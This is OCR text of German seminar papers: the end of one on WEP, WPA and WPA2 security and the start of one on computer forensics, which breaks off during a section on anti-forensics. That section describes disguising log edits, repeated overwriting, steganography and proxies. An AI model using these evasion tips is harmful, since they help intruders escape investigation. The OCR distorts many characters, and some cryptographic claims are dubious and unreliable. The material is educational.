man, dass der vom RC4 benutzter Schliissel mit jedem IV, also auch mit jedem neuen Paket,
sich dndert.

WEP hat keinen Schutz gegen Replay-Attacken. TKIP besitzt aber einen Anti-Replay-Me-
chanismus, den so genannten TKIP Sequence Counter (TSC): die IV-Werte fangen immer
mit 0 an und werden nach jedem Paket um 1 inkrementiert. Weil ein IV unter der Benutzung
von einem vorgegebenen Schliissel nicht zwei mal vorkommt, werden alle Pakete mit einem
schon empfangenen IV verworfen. Das erlaubt aber immer noch einem Angreifer, alte Pakete
mit einem neuen IV zu senden. Diese Pakete werden natiirlich verworfen werden, weil sie
sich nicht richtig entschliisseln lassen. Das konnte aber verursachen, das ein legales Paket als
Replay-Paket betrachtet wird, da sein IV vom Angreifer benutzt wurde. Und so kann ein
Angreifer eine Denial Of Service-Attacke gegen das Nachricht einrichten.

Fiir die Generierung von MICs wird der Michael-Algorithmus eingesetzt. Michael erzeugt
einen 8 Byte langen MIC aus den ganzen verschliisselten Daten im Paket und den MAC-
Adressen. Michael wurde speziell fiir TKIP entworfen. Er kann unter einem relativ schwa-
chen Prozessor und ohne schnelle Hardware-Multiplikation effizient laufen, es werden nur
Rotationen und XOR-Operationen von Michael benutzt. Dieser Algorithmus hat aber eine
Schwachstelle. Ein zufillig erzeugter MIC hat die Wahrscheinlichkeit von 1/1000000, mit dem
erwarteten Wert {ibereinzustimmen, was eine hohe Wahrscheinlichkeit ist. Um dieses Problem
zu beheben, wurden Gegenmafinahmen implementiert: wird ein falscher MIC von einer Station
iibermittelt, wird sie eine Minute gesperrt. Das heifit, dass ein Brute Force-Erraten des MICs
ein Jahr dauern konnte. Entdeckt der AP einen MIC-Failure in einer Multicast-Nachricht,
wird der Gruppenschliissel geloscht und das Multicast-Senden unterbrochen. Wenn ein An-
derer MIC-Failure innerhalb der letzten 60 Sekunden entdeckt wurde, wartet der AP bis die
60 Sekunden-Sperre vorbei ist, erzeugt einen neuen Gruppenschliissel und verteilt ihn. Der
Vorgang ist bei Unicast-Nachrichten dhnlich. Die IEEE802.1X-Nachrichten werden aber nicht
gesperrt, sonst wire das Erzeugen von neuen Pairwise-Schliissel nicht moglich. Entdeckt eine
Station einen MIC-Failure, 16scht sie die Sitzungschliissel und fordert neue Schliissel an. Der
Angreifer hat aber immer noch die Mdglichkeit, eine Denial of Service-Attacke auszufiihren,
in dem er ein gedindertes Multicast-Paket jede 59 Sekunden schickt, was immer das Netz fiir
die néchste Minute sperrt. Eine solche Attacke ist aber schwer zu realisieren, weil das Paket
immer einen giiltigen IV haben muss und richtig verschliisselt werden muss. Es ist aber fiir
einen Angreifer giinstiger, eine Denial of Service auszufithren, in dem an alle Stationen eine
Disassociate-Nachricht geschickt wird und das ist nicht zu vermeiden.

Trotz dieser ganzen Mafinahmen ist ein PSK immer noch angreifbar: ein schwacher Schliissel
kann mit einer Worterbuch-Attacke herausgekriegt werden. Deswegen ist es empfohlen, den
PSK geschickt zu wihlen: Ein guter Schliissel wire eine Alphanumerische Sequenz von Grof3-
und Kleinbuchstaben und Sonderzeichen.

3.3 WPA2

Im WPA2 wurden die grundlegenden Funktionalitéiten von IEEE802.11i implementiert. Fiir
die Verschliisselung wird AES-CCMP eingesetzt. AES ist kein Sicherheitsprotokoll sondern
eine auf den Rijndael-Algorithmus basierender reversibler Blockchiffre. AES steht fiir Advan-
ced Encryption Standard und entschliisselt /verschliisselt Datenblocke von fester Liange. Jeder
Block ist 128 Bit lang. AES wurde from scratch implementiert, deswegen ist ein Software-
Update von WEP zu WPA2 nicht moglich. CCMP ist das von WPA2 benutzte Verschliisse-
lungsprotokoll. CCMP steht fiir Conter Mode-CBC MAC Protokoll. Es definiert eine Menge
von Regeln nach denen die Pakete mit AES verschliisselt werden miissen. AES unterstiitzt
16 verschiedene Modi. CCMP benutzt den CCM-Modus. Dieser Modus wurde extra fiir RSN
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Abbildung 4: TKIP gemischter Schliissel [EdAr03]

entworfen. Im CCM-Modus werden der Conter-Modus kombiniert mit Cipher Block Chaining
(CBC) eingesetzt.

Der Conter-Modus funktioniert wie folgendes: Ein zufillig generierter Wert, Conter genannt,
wird mit AES verschliisselt. Dann wird jeder Block der Nachricht mit dem Conter ,, XORt“ und
nach jeder XOR-Operation wird der Conter um 1 erhéht und wieder verschliisselt. Der Con-
ter kann hochstens 11 Mal inkrementiert werden. Der Conter-Wert wird mit jedem Paket
dem Kommunikationspartner iibermittelt. Dieser Modus hat interessante Kryptographische
Figenschaften: Die Verschliisselung ist identisch zur Entschliisselung weil XOR verkettet mit
sich selbst die Identitét ist. Das heifit, es ist geniigend, nur eine Verschliisselungseinheit zu
implementieren. Man kann auch eine Nachricht parallel verschliisseln: der Conter ist fiir jede
Nachricht bekannt, deswegen kann man alle Blocke parallel verschliisseln. Wenn die Léange
einer Nachricht nicht ein Vielfaches von der Lénge eines Blocks ist, verschliisselt man den
kurzen Block mit dem dazu passenden Anzahl von Conter-Bits.

CBC wird benutzt, um die MICs zu generieren. Der MIC wird berechnet um die Authentizitét
einer Nachricht zu tiberpriifen. Im CCM-Kontext sind MIC und CBC-MAC &quivalente Be-
griffe (MAC steht fiir Message Authentication Code). CBC funktioniert wie folgendes: Man
verschliisselt den ersten Block mit AES, XORt das Ergebnis mit dem zweiten Block und
verschliisselt das Ergebnis, XORt das Ergebnis mit dem dritten Block und verschliisselt das
FErgebnis und so weiter. Das Ergebnis ist ein Block der Léange 128 Bit. Wenn ein Bit in der
Nachricht geindert wird, besteht die Moglichkeit von 2728 dass der CBC-MAC sich nicht
dandert, was vernachléssigbar ist.

Bei AES-CCMP werden weniger Schliissel aus den PMK und GMK abgeleitet. Die abgelei-
teten Schliissel sind:

e Der Data Encryption/Integrity Schliissel (128 Bit)
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e Der EAPOL key Encryption Schliissel (128 Bit)
e Der EAPOL key Integrity Schliissel (128 Bit)

e Der Group Encryption/Integrity Schliissel (128 Bit)

Der WPA2-Handshake ist zum WPA-Handshake dhnlich.

4 Zusammenfassung

WEP war der erste Versuch, Verschliisselungsprotokolle fiir WLANSs zu entwerfen. WEP hat
aber viele Sicherheitsliicken, die dazu gefithrt haben, dass Angriff-Tools entwickelt wurden,
mit denen ist es mittlerweile moglich, in weniger als einer Minute den WEP-Schliissel zu
knacken.

Nachdem WEP véllig gebrochen wurde, war es notig, nach neuen Sicherheitsmechanismen zu
suchen. WPA und WPA2 sind viel sicherer und bei denen wurden so gut wie alles Sicherheits-
liicken von WEP gedeckt, und damit sind sie fiir Business-Anwendungen reif. Total sicher
sind sie aber nicht, DoS-Attacken sind immer noch moglich und Schwache Schliissel sind mit
Worterbuch-Angriffen schnell zu erraten.
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Computer-Forensik

[Patrick Armbruster|

Diese Seminararbeit zum Thema Computer-Forensik bietet dem Leser einen Ein-
stieg in das breite Gebiet der Erkennung, Analyse und Aufklirung krimineller
Handlungen in Verbindung mit I'T Systemen. Sie erhebt keinen Anspruch auf Voll-
standigkeit, sondern zeigt vielmehr einige grundlegende Problemstellungen und
Vorgehensweisen dieses weitreichenden Themas auf. Die Seminararbeit setzt sich
mit der Beweissicherung nach einem sicherheitsrelevanten Vorfall auseinander, es
werden Ziele, Methoden und aber auch Grenzen I'T-forensischer Untersuchungen
erortert. Es werden Ansétze und Methoden erlautert, wie aus Angreifersicht eine
Beweissicherung erschwerbar ist. An einem Fallbeispiel werden weitere Verfahren
und Werkzeuge vorgestellt.

1 Einleitung

Der Begrift , Forensik“ fasst Arbeitsgebiete zusammen, die sich mit der Identifikation, der
Analyse und der Aufkldrung von Straftaten und Verbrechen geht. Diese Arbeit setzt sich
im Folgenden mit einem Teilgebiet jener Disziplin auseinander, das sich im Wesentlichen
um kriminelle Handlungen in Verbindung mit Computersystemen dreht. Weniger geht es
hierbei um ,,herkémmliche* kriminelle Handlungen der realen Welt, bei denen Computer u.a.
als Hilfsmittel zum Einsatz kommen - wie zum Beispiel einem Bankraub, in Folge dessen
man die PCs verdichtiger Personen nach Hinweisen in Email-Korrespondenz oder Ahnlichem
durchforstet - als vielmehr um Verbrechen durch und innerhalb von IT Systemen mit dem
Computer als wichtigstem Tatwerkzeug und Computernetzen als Fortbewequngsmittel und
Medium. Das Folgende dreht sich somit um Computer- oder IT-Forensik.

Zunéchst (Abschnitt 2|) wird das Vorgehen und die Beweissicherung nach einem sicherheits-
relevanten Vorfall beschrieben, es werden mogliche Spuren erldautert und die notwendigen
Schritte, um diese zu sichern. Es wird deutlich gemacht, dass hierbei z.B. die Reihenfolge, in
der dies geschieht, von nicht unerheblicher Bedeutung ist.

Das darauf folgende Kapitel (Abschnitt [3) vertieft Motivation und Ziele dieses Uberbegriffes
und erklért, zu welchen Erkenntnissen man kommen kann und wozu diese im Einzelnen von
nutzen sein werden.

Vorgehensweisen und Methoden zur Durchfithrung I'T-forensischer Analysen werden direkt im
Anschluss (Abschnitt 4]) vorgestellt, es wird erldutert, wodurch bestimmte Spuren entstehen
und wie diese erkannt und gesichert werden konnen.

Die griindlichste Investigation kann und wird an vielen Punkten jedoch auch an die Grenzen
der technischen-, geographischen- oder politischen Gegebenheiten stoflen. Details und Hin-
tergriinde dazu werden hier vorgestellt (Abschnitt [5), um in direktem Anschluss (Abschnitt
6) einige Moglichkeiten zur Vereitelung der Beweissicherung von Seiten des Angreifers zu
diskutieren.

Zum Abschluss wird ein Fallbeispiel (Abschnitt 7) ein typisches Szenario eines Einbruchs in
ein firmeninternes Netzwerk veranschaulichen.
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2 Beweissicherung nach einem Vorfall

Oft ist es ein Anfangsverdacht, der sich nach weiteren Nachforschungen erhértet: Ein Compu-
ter oder das Netzwerk der Firma, fiir dessen Sicherheit man als Administrator verantwortlich
ist, wurde Opfer eines Angriffes durch einen Hacker. Untypischer Netzwerkverkehr im internen
Netz, ungewohnliche Logfile-Eintrége, ein Alarmsignal eines IDS-Systems - Intrusion Detec-
tion System: Uberwacht Netzwerke und/oder einzelne Computer auf verdichtige Aktivititen
- oder oftmals auch der pure Zufall sorgen fiir eine Entdeckung ungewollter Aktivitdten in
der vermeintlich abgesicherten Umgebung eines Firmen- oder Heimnetzwerkes.

Oftmals kommt es auch vor, dass einer zufillig bemerkten Unregelméfigkeit aufgrund von
Zeitmangel oder fehlendem Fachwissen nicht weiter nachgegangen wird, wodurch viele Vor-
falle unbemerkt bleiben oder erst verspétet auffallen. Generell sollten daher Administratoren
und auch ,, gewOhnliche* Anwender sensibilisiert werden, Unregelméfigkeiten wahrzunehmen
und diese ggf. zu melden. Auch kénnen die Anforderungen einer forensischen Untersuchung
involvierter Computersysteme in vielen Fillen das Fachwissen der zustdndigen Administra-
toren iibersteigen, weshalb diese in Betracht ziehen sollten, die Ermittlungen internen oder
externen Ermittlungsspezialisten zu iiberlassen und lediglich unterstiitzend zur Seite zu ste-
hen.

Der normale Weg von der Feststellung eines Sicherheitsvorfalls bis zur Aufkldrung [GescO7b]
lasst sich héufig in folgende Phasen gliedern:

e Ungewohnliche Aktivititen werden durch Administratoren oder Anwender wahrgenom-
men
— Neugierde fithrt oft zur weiteren Beobachtung
— Erste schnelle Sammlung von Spuren
e Der Anfangsverdacht wird bestétigt (durch andere Anzeichen oder erste Schadensfest-
stellung)
— Die Straftat bzw. der Schaden wird entdeckt und evtl. bestéatigt

— Meldung an interne oder externe Ermittlungsspezialisten
e Elektronische Beweise moglichst vollstédndig sicherstellen
e Beweisspuren identifizieren und analysieren
e Analysergebnisse interpretieren und verifizieren

e Ergebnisse in Bericht zusammenfassen und présentieren

Bei ersten Verdachtsmomenten ist es wichtig, moglichst viele Details zu den einzelnen un-
ternommenen Untersuchungsschritten und den jeweiligen Ergebnissen zu dokumentieren. Zu-
néchst werden die untersuchten Daten wie z.B. Log-Dateien, Netzwerkverkehr-Mitschnitte
oder Emails gesichert, um eine nachtriigliche Manipulation oder versehentliches Andern oder
Loschen zu verhindern. Hierzu bieten sich vor allem einfach beschreibbare Medien wie CDs
oder DVDs an, da hierauf nach dem Schreiben nur noch lesend zugegriffen werden kann.

Nun werden die gesicherten Informationen nach Hinweisen durchsucht, die den Anfangsver-
dacht erhérten. Bestétigt sich dieser, wird mit der Sicherstellung moglichst aller in Frage
kommenden Beweise begonnen.
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Fliichtige Informationen sollten hierbei Vorrang haben, da diese unter Umstédnden nach kur-
zer Zeit verloren gehen konnen. Hierzu gehoren beispielsweise Inhalte von Caches oder Ar-
beitsspeichern, welche von extrem kurzlebiger Natur sind. Aber auch manche Logdateien
halten ihre Informationen aufgrund von Gréflenbeschrankungen nicht auf Dauer. Die Sicher-
stellung von fliichtigen Daten wie Arbeitsspeicherinhalten bietet zweifelsohne besondere Her-
ausforderungen, da hierzu am laufenden System eine Moglichkeit gefunden werden muss,
an dessen Inhalt zu gelangen. Konkrete Werkzeuge hierzu werden im Kapitel Methoden der
Computer-Forensik (4) vorgestellt. Ein weiteres Problem ist, dass man das System fiir die
Dauer der Sicherung fliichtiger Daten in Betrieb halten muss. In Fillen unmittelbarer Gefahr
oder wachsenden Schadens durch jede Minute weiteren Betriebes des kompromittierten Sys-
tems muss jeweils abgewogen werden, was wichtiger ist — die Sicherstellung der Informationen
im Arbeitsspeicher oder die Vermeidung weiteren Schadens.

FErgénzende Sofortmafinahmen koénnten die voriibergehende Deaktivierung einzelner Ports,
Dienste oder ganzer Systeme sein, welche von vermeintlichen Schwachstellen betroffen sind
oder im Verdacht stehen, durch den Angreifer manipuliert worden zu sein. Eine sorgfiltige und
moglichst vollstéindige Dokumentation ist fiir die Analyse, die anschlieBende Rekonstruktion
und Beweisfithrung unerlésslich.

Nachdem alle elektronischen Spuren gesichert wurden, werden diese nach moéglichen Indizien
durchsucht und ein Beweismittel-Katalog aufgebaut. Anschlieffend folgt die Analyse, Beweise
werden miteinander in Zusammenhang gebracht und es wird versucht, den kompletten Vorfall
zu rekonstruieren, um abschlieend die gewonnenen Erkenntnisse zu préisentieren.

3 Ziele der Computer-Forensik

Um ein System sicher zu machen, muss man zunéchst einmal mogliche Schwachstellen sowie
die Methoden der Angreifer kennen. Eine Moglichkeit, aktiv Angreifer anzulocken und ihre
Vorgehensweisen zu studieren bieten Honeypots und Honeynets. Jedoch kénnen ebenfalls viele
Erkenntnisse aus Angriffen auf die echten Systeme gewonnen werden:

e Wo befinden sich bisher unentdeckte Sicherheitsliicken?
e Sind vielleicht noch andere Systeme vom gleichen oder dhnlichen Problemen betroffen?

e Handelt es sich bei dem Vorfall um einen automatisierten Vorgang, z.B. durch Wiirmer,
Trojaner oder Bots, die autonom Systeme auf Liicken hin untersuchen und in diese
eindringen, oder war es ein gezielter Einbruch mit individuellem Hintergrund?

e Kann man Riickschliisse iiber die Vorgehensweise der Angreifers treffen, und lésst sich
daraus vielleicht sogar ein Profil fiir eine automatisierte Anomalieerkennung herleiten?

e Worauf hat man es abgesehen, welche Motivation steckt dahinter?

e Wie versiert und hartnéickig sind die Angreifer und welchen Aufwand sind sie bereit zu
betreiben?
Ein Zitat aus [MiSi05]: ,,Every time some [developer]| says "Nobody will go to the trouble
of doing that’, there’s some kid in Finland who will go to the trouble.”

Aus strafrechtlicher- oder zivilrechtlicher Sicht ist das oberste Ziel die Aufdeckung der Iden-
titdt des Angreifers zum Zwecke der Geltendmachung zivilrechtlicher Anspriiche und/oder
Strafverfolgung. Auch spielt die Motivation des/der Téter(s) eine Rolle, es muss die Frage
gekldart werden, ob es sich lediglich um ein sog. script kiddie - Ein géngiger Begriff fiir einen
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unerfahrenen und/oder jugendlichen Hacker - handelt oder ob ein Vorfall politischer oder
wirtschaftlicher Spionage zuzurechnen ist — ein wesentlicher Unterschied in der Tragweite.
Riickschliisse auf die Motivation lassen sich vielleicht durch die Analyse und Interpretation
der gesammelten Spuren treffen.

4 Methoden und Werkzeuge

Im Folgenden wird ein kleiner Auszug aus gingigen Methoden, Richtlinien und Werkzeugen
fiir I'T-forensische Untersuchungen vorgestellt.

4.1 ACPO Richtlinie

Die Association of Chief Police Officers (ACPO) definiert in einer kiirzlich herausgegebenen
Richtlinie [t0907a] zum Umgang mit Computerbasierten elektronischen Beweismaterialien
u.a. Vorgehensweisen, wie ein PC-System beim Eintreffen der Beamten sicherzustellen ist.
Dieses Szenario orientiert sich an der Sichtweise polizeilicher Ermittler, welche Beweismittel
in der Wohnung eines Verdéichtigen sichern wollen, und differenziert sich damit von dem
bisher betrachteten Szenario insofern, dass sich die Richtlinie um die Beweismittelsicherung
auf Téterseite und nicht auf Opferseite dreht.

Als erste zu ergreifende Mafinahme wird jede angetroffene Person aufler Reichweite des Com-
puters, der Peripherie oder deren/dessen Stromversorgung gebracht, um eventuelle Versuche
zu verhindern, Spuren zu verwischen. Auch wird zum Zwecke einer liickenlosen Dokumentie-
rung empfohlen, das gesamte Vorgehen mit einer Videokamera oder einem Fotoapparat zu
dokumentieren. Weiterhin wird nun zunéchst unterschieden, ob sich das betroffene PC-System
in Betrieb befindet oder ausgeschaltet zu sein scheint.

Befindet sich der Computer in ausgeschaltetem Zustand, darf er aus Griinden der Spurener-
haltung nicht eingschaltet werden. Weiterhin sollte die Verkabelung und sonstige eventuell
wichtige Details des PC-Systems dokumentiert werden, bevor alles abgebaut und beschlag-
nahmt wird. Lauft der Computer hingegen, ist zuniichst der aktuelle Bildschirminhalt zu
fotografieren/dokumentieren. Besteht die Moglichkeit, auf das laufende System zuzugreifen,
wird versucht, ein moglichst vollstéindiges Abbild des Arbeitsspeichers zu sichern.

4.2 Arbeitsspeicher

Um an den fliichtigen Inhalt des Arbeitsspeichers zu gelangen, gibt es mehrere Ansétze.
Zum einen gibt es die Page-Datei, welches auf der Festplatte die ausgelagerten Teile (Pages)
des virtuellen Speichers vieler Prozesse enthélt. Dieses ist kein vollstdndiges Abbild des Ar-
beitsspeichers, es enthilt lediglich Fragmente. Sollte es nicht moglich sein, wie im Folgenden
beschrieben ein komplettes Abbild zu erhalten, kann die Page-Datei dennoch niitzliche Infor-
mationen offenbaren. Beispielsweise konnten Teile des virtuellen Speichers einer Verschliisse-
lungssoftware wie TrueCrypt fiir kurze Zeit darin ausgelagert worden sein. Wird mit
dieser Software auf ein verschliisseltes Medium zugegriffen, wird der Schliissel - dieser ist iib-
licherweise ein Hashwert des Entschliisselungs-Passwortes - zum Zwecke der on-the-fly Ver-
und Entschliisselung im Speicher ablegen. Findet sich dieser Schliissel in der Page-Datei, ist
es ohne weiteres moglich, die Daten des verschliisselten Mediums zu entschliisseln.

Ein moglicher Ansatz, ein komplettes Speicherabbild zu erhalten, wird durch die Ruhezu-
stand-Funktion (Hibernation) aktueller Desktop-Betriebssysteme erméglicht. Beim iiberfiih-
ren des Systems in den Ruhezustand wird der komplette Arbeitsspeicherinhalt auf die Fest-
platte gesichert, um die Systemausfithrung zu einem spéteren Zeitpunkt an gleicher Stelle
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wieder fortsetzen zu konnen. Viele Desktop-Betriebssysteme bieten auch im gesperrten Zu-
stand die Moglichkeit, in den Ruhezustand iiberzugehen. Wird ein solches Abbild auf der
Festplatte gefunden, kann der gesamte Speicherinhalt analysiert werden.

Im Folgenden wird mit X-Ways Forensics ein Werkzeug vorgestellt, welches vielfiltige Fest-
platten- und Dateisystemanalysen ermoglicht.

4.3 X-Ways Forensics

Fine umfangreiche Forensik-Software ist ,, X- Ways Forensics der X-Ways Software Techno-
logy AG ([t09c]). Neben Standardfunktionalitéiten wie dem Klonen von Datentrigern, In-
dizieren von Dateien und Wiederherstellung geloschter Dateien bietet es zum Beispiel die
Funktion, den physischen Arbeitsspeicher einzusehen und zu sichern. Da X-Ways Forensics
nur auf Windows lduft, ist dies bei anderen Betriebssystemen nicht praktikabel. Hierzu muss
eine alternative Software verwendet werden. Voraussetzung ist natiirlich ein entsprechender
Zugang zum Laufenden System.

Eine vollsténdige Liste aller Funktionen kann auf der Website des Herstellers ([t09¢|) einge-
sehen werden, Ausschnitte hiervon werden im Folgenden vorgestellt.

e Dateisysteme und Analyseméglichkeiten
Neben der Unterstiitzung nahezu aller géngigen Dateisysteme ist es auch moglich, be-
reits geloschte Dateien wiederherzustellen, sofern sie nicht bereits {iberschrieben wur-
den. Anhand des Fragmentierungsverlaufs einer Datei konnen Aussagen iiber Positionen
nachtraglicher Verdnderungen getroffen werden. Auch werden spezifische Funktionen
der Dateisysteme, beispielsweise die Alternativen Datenstrome (ADS) von NTFS, in
die Analyse mit einbezogen.

o Indizierung
Das Tool erstellt eine umfangreiche Datenbank aller Dateien, deren Metadaten sowie
Inhalten. Somit kann nun nach ganzen Listen von Suchbegriffen oder komplexen vor-
definierten Filtern gesucht werden, wogegen das manuelle Durchforsten bei den Daten-
mengen, die auf heutigen Systemen anfallen, sicher nicht praktikabel wére.

e Dateitypen und thre Inhalte

Fiir eine sehr grofie Auswahl an Dateiformaten ist ein Viewer integriert, das Werkzeug
katalogisiert beispielsweise alle Bilder, die es direkt auf der Festplatte oder in anderen
Dateiformaten (doc, xIs, pdf, ...) eingebettet findet. Die Folgende Abbildung zeigt die
Oberfliche des Programms bei der Bildersuche. Diese kénnen z.B. nach Hautfarbenan-
teil durchsucht werden, was im Hinblick auf illegale pornografische Inhalte eine Funktion
ist, die zuverléssig Ergebnisse liefert. Auch Emails kénnen in allen géingigen Formaten
von Outlook bis Pegasus gelesen und mit indiziert werden.

e Dokumentierung
Alle Analyseschritte und -Ergebnisse inklusive eventueller Kommentare des Anwenders
werden von dem Programm protokolliert. Anschlielend kann daraus dann einen Bericht
generiert werden. Dies ermoglicht es, die Vorgehensweise liickenlos und reproduzierbar
zu dokumentieren, was fiir eine spétere Priasentation und Beweisfithrung von Bedeutung
ist.

4.4 Kleine Tools

Es gibt eine Fiille kleiner spezialisierter Werkzeuge. Eine Auswahl hiervon wurde z.B. in der
Ausgabe 05/2007 der Computerzeitschrift ¢’t [Gesc07a| vorgestellt, eine weitere befindet sich
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Abbildung 1: Die X-Ways Oberfliche im Uberblick, Quelle www.x-ways.net

auf der beiligenden CD der i’X 07/2007 [t0907b]. Im Folgenden wird mit LiveView ein solches
Werkzeug vorgestellt.

4.4.1 Live View

Mit Hilfe des freien Java-Werkzeuges Live View kann aus einem Datentréagerabbild, welches
zuvor von einem zu untersuchenden System erstellt wurde, eine VM Ware VirtualMachine
erzeugt werden, mit der das System aus der Anwender-Sicht beobachtet und analysiert werden
kann. Das folgende Schaubild stellt die Verwendung schematisch dar.

(5 vmware
S, .
HD Abbild SCHREIBEN
o010 Ausfihrungin VM

Abbildung 2: Das Prinzip von Live View

Live View sorgt hierbei dafiir, dass alle schreibenden Zugriffe auf das Abbild in eine separate
Datei umgeleitet werden. Das spart das mehrmalige Erstellen von Sicherungskopien oftmals
sehr grofler Datentriagerabbilder, um in den Ursprungszustand zuriickkehren zu kénnen. Je-
doch gibt es bereits Malware, die sich dieser Form der Begutachtung und Analyse entzieht,
indem sie erkennt, ob sie gerade in einer virtualisierten Umgebung ausgefiihrt wird, und in
diesem Fall schlicht inaktiv bleibt.

4.4.2 Windows Sysinternals

Fiir die Analyse am laufenden Windows-System, sei es nun direkt im Betrieb oder mittels
Live View |4.4.1 in einer Virtual Machine, eignen sich die Werkzeuge aus der Sysinternals-
Sammlung. Mit dem Process Monitor kann man Registry-, Dateisystem- und sonstige Kernel-
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Zugriffe von Prozessen iiberwachen und protokollieren. AccessEnum und Share Enum helfen ei-
nem dabei, Zugriffsrechte und Freigaben zu analysieren. Weitere Werkzeuge und Beschreibun-
gen findet man auf der Sysinternals-Website unter www.microsoft.com/technet/sysinternals.

4.4.3 Unix Bordmittel wie dig und whois

Informationen zu IP-Adressen und Hostnamen im Internet konnen relativ einfach iiber die
beiden Unix Kommandozeilenbefehle dig und whois ermittelt werden.

Dig (Domain Information Groper) kann die IP-Adresse zu einem vorgegebenen Hostnamen
sowie einen Hostnamen zu einer IP-Adresse - falls existent - ermitteln. Anhand des Hostna-
men, der zu einer verdédchtigen IP-Adresse gehort, lassen sich oftmals Details zum Typ des
Internetanschlusses - ob DSL/Kabel oder Standleitung - oder zum Herkunftsland ableiten.

Whois ist das Standardwerkzeug zur Abfrage der Domain Registration Database, wodurch
u.a. der Registrant einer Top Level Domain (TLD) abgefragt werden kann. In der Regel
liefert diese Abfrage Name, Adresse und Emailadresse des Registranten.

5 Grenzen der Computer-Forensik

Bei einer IT-forensischen Untersuchung gibt es auch Grenzen. Manche Hiirden sind technisch
bedingt oder hiingen schlicht von einer zeitnahen Untersuchung ab - z.B. fliichtige Daten (2)
-, andere sind auf politischer Ebene anzusiedeln oder werden in den Weg gelegt.

5.1 Technische Hiirden

Einige der moglichen Einschriankungen forensischer Analysen aus technischer Sicht wurden
bereits angesprochen. Wenn also beispielsweise kein Zugang zu einem laufenden PC-System
moglich ist, weil dieses aktuell gesperrt ist, keine Aussicht auf den Erhalt des Passwortes
besteht und das System auch nicht in den Ruhezustand versetzt werden kann (siehe [4.2),
wird es nicht moglich sein, den gesamten Arbeitsspeicher und somit dessen fliichtige Daten
zu sichern. Sollte es jedoch gelingen, kann die Zeit, die zwischenzeitlich vergangen ist, von
entscheidender Bedeutung sein, ob relevante Daten noch im Speicher zu finden sind.

Verschliisselung stellt eine weitere technische Hiirde dar, sowohl auf Datentréagern - z.B. durch
Programme wie TrueCrypt [t09b] - als auch in der Kommunikation (SSL, SSH, IPSec). Ohne
die Schliisselinformation oder eine bekannte nutzbare Schwachstelle in dem jeweiligen Mecha-
nismus ist es nicht mdéglich, an die urspriinglichen Daten zu gelangen.

5.2 Politische Hiirden

Sobald sich eine forensische Untersuchung iiber Landesgrenzen hinwegbewegt kénnen auch
politische Aspekte und Interessen neue Hindernisse mit sich bringen. Die Verfolgung einer
konkreten IP-Adresse beispielsweise kann sich je nach den gesetzlichen Voraussetzungen des
jeweiligen Ursprungslandes als ein schwieriges, langwieriges und moglicherweise erfolgloses
Unterfangen offenbaren. Auch kénnen solche Ermittlungen gezielt durch politische und wirt-
schaftliche Interessen beteiligter Institutionen behindert werden, was gerade in Sachen staat-
licher oder staatlich unterstiitzter Wirtschaftsspionage heutzutage realistischer denn je er-
scheint.
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6 Erschweren der Beweissicherung

Die Moglichkeiten, die sich einem Angreifer bieten, Spuren- und Beweissicherungen von Er-
mittlern zu erschweren, setzen genau an diesen Grenzen der Computer-Forensik (5 an.

6.1 Logdateien verfdlschen

Um lokale Spuren in Form von Logdatei-Eintrigen zu beseitigen, ist das Naheliegendste zu-
néichst das nachtrégliche Verdndern jener Aktivitédtsprotokolle. Einerseits muss die Mani-
pulation so zeitnah wie moglich erfolgen, denn es konnte ein gerade laufendes Backup die
noch unveridnderten Daten sichern. Andererseits hinterlésst es ebenfalls Spuren, wenn die be-
treffenden Zeilen einer Logdatei einfach nur gel6scht werden. Das Loschen in der eigentlich
kontinuierlichen Bytefolge kann eine Liicke hinterlassen, die von forensischen Werkzeugen
aufgespiirt werden kann.

Stattdessen sollten die betreffenden Zeilen nur derart verdndert werden, dass die Anzahl
der Bytes gleich und die Syntax erhalten bleibt, der Inhalt jedoch keinerlei verriterische
Informationen mehr enthiillt. Als letzte Mafinahme konnen die betreffenden Zeilen auch gleich
mehrmals iberschrieben werden, was verhindert, dass iiberschriebene Bits und Bytes auf der
Festplatte wieder rekonstruiert werden kénnen. Eine solche Rekonstruktion liegt zu einem
gewissen Grad im Bereich der technischen Machbarkeit. Aus diesem Grunde iiberschreibt
ein Werkzeug, welches das sichere Loschen von Festplatten verspricht, diese immer gleich
mehrfach mit verschiedenen Zufallszahlen — eine weitere Option, die Rekonstruktion von
Daten durch Ermittler zu verhindern.

6.2 Verschliisselung

Nicht in der Vernichtung, sondern in der Verschliisselung von Informationen liegt eine weitere
leicht ersichtliche Methode, forensische Untersuchungen zu erschweren. Werden Daten auf der
Festplatte verschliisselt, ist eine Riickgewinnung ohne Schliissel praktisch ausgeschlossen.

6.3 Steganographie

Einen vo6llig anderen Ansatz verfolgt die Steganographie. Es werden Daten in anderen Da-
teien versteckt, um so die eigentliche Information zu verschleiern. Ein gutes Beispiel hierfiir:
Bei einer vorhandenen graustufen-Bitmap werden nun jeweils immer die 2 niederwertigsten
Bits jedes Pixels (8 Bit) durch Bits der zu versteckenden Daten ersetzt. Das Bild wird op-
tisch hierdurch nur unwesentlich veréndert, die Information sind jedoch nicht offensichtlich.
Ein Ermittler kann nun durch Kenntnis dieser Technik eine Analyse derart gestalten, dass
er automatisiert nach Daten in genau diesen Bits sucht. Durch die Kombination von Ste-
ganographie mit Kryptographie ist die versteckte Information jedoch praktisch nicht mehr
nachweisbar. Somit sind verborgene Informationen in diesem Bild iiberhaupt nur dann fest-
stellbar, wenn zum Vergleich die urspriingliche, unverdnderte Version des Bildes verfiigbar
ist.

6.4 Anonymisierung

Ein Merkmal, an dem sich jeder Internetteilnehmer ermitteln lésst ist seine IP-Adresse. Zu-
sammen mit einem genauen Zeitpunkt ldsst sie sich weltweit eindeutig einem Internetan-
schluss zuordnen. Wie in dem Schaubild zu erkennen ist, wird die IP-Adresse eines Interner-
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Abbildung 3: Einfaches Schema einer direkten Verbindung

Teilnehmers bei der Kommunikation bis zum Endsystem {ibermittelt. Ein Angreifer ist daran
interessiert, dieses Identifikationsmerkmal zu verschleiern.

6.4.1 Proxyserver

Das Ubertragen der IP-Adresse zur Gegenstelle einer Kommunikationsverbindung ist tech-
nisch notwendig, da sonst die Gegenseite keine Moglichkeit hat, dem Absender zu antworten.

Es gibt jedoch die Moglichkeit, die Pakete iiber ein oder mehrere Weiterleitungsstellen - sog.
Proxy-Server - zu senden, welche im Idealfall kein Protokoll iiber die Verbindungen fiihren.
Wird somit eine IP-Adresse zuriickverfolgt, die bei einem Angriff vom Endsystem protokol-

IP: 1.2.3.4

IP: 5.6.7.8
] = =
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= Internet Internet
Internet-PC w

Proxy Server Zielserver

Abbildung 4: Schema einer Verbindung iiber einen Proxy-Server

